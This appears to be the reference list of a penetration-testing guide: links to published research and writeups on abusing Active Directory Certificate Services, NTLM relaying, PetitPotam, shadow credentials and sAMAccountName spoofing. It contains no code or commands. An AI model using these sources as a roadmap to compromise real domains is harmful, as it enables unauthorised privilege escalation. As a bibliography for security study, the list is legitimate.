* [Microsoft ADCS – Abusing PKI in Active Directory Environment - Jean MARSAULT - 14/06/2021](https://www.riskinsight-wavestone.com/en/2021/06/microsoft-adcs-abusing-pki-in-active-directory-environment/)
* [Certified Pre-Owned - Will Schroeder and Lee Christensen - June 17, 2021](http://www.harmj0y.net/blog/activedirectory/certified-pre-owned/)
* [NTLM relaying to AD CS - On certificates, printers and a little hippo - Dirk-jan Mollema](https://dirkjanm.io/ntlm-relaying-to-ad-certificate-services/)
* [Certified Pre-Owned Abusing Active Directory Certificate Services - @harmj0y @tifkin_](https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Certified-Pre-Owned-Abusing-Active-Directory-Certificate-Services.pdf)
* [Certified Pre-Owned - Will Schroeder - Jun 17 2021](https://posts.specterops.io/certified-pre-owned-d95910965cd2)
* [AD CS/PKI template exploit via PetitPotam and NTLMRelayx, from 0 to DomainAdmin in 4 steps by frank | Jul 23, 2021](https://www.bussink.net/ad-cs-exploit-via-petitpotam-from-0-to-domain-domain/)
* [NTLMv1_Downgrade.md - S3cur3Th1sSh1t - 09/07/2021](https://gist.github.com/S3cur3Th1sSh1t/0c017018c2000b1d5eddf2d6a194b7bb)
* [UnPAC the hash - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/kerberos/unpac-the-hash)
* [Lateral Movement – WebClient](https://pentestlab.blog/2021/10/20/lateral-movement-webclient/)
* [Shadow Credentials: Workstation Takeover Edition - Matthew Creel](https://www.fortalicesolutions.com/posts/shadow-credentials-workstation-takeover-edition)
* [Certificate templates - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/ad-cs/certificate-templates)
* [CA configuration - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/ad-cs/ca-configuration)
* [Access controls - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/ad-cs/access-controls)
* [Web endpoints - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/ad-cs/web-endpoints)
* [sAMAccountName spoofing - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/kerberos/samaccountname-spoofing)
* [CVE-2021-42287/CVE-2021-42278 Weaponisation - @exploitph](https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html)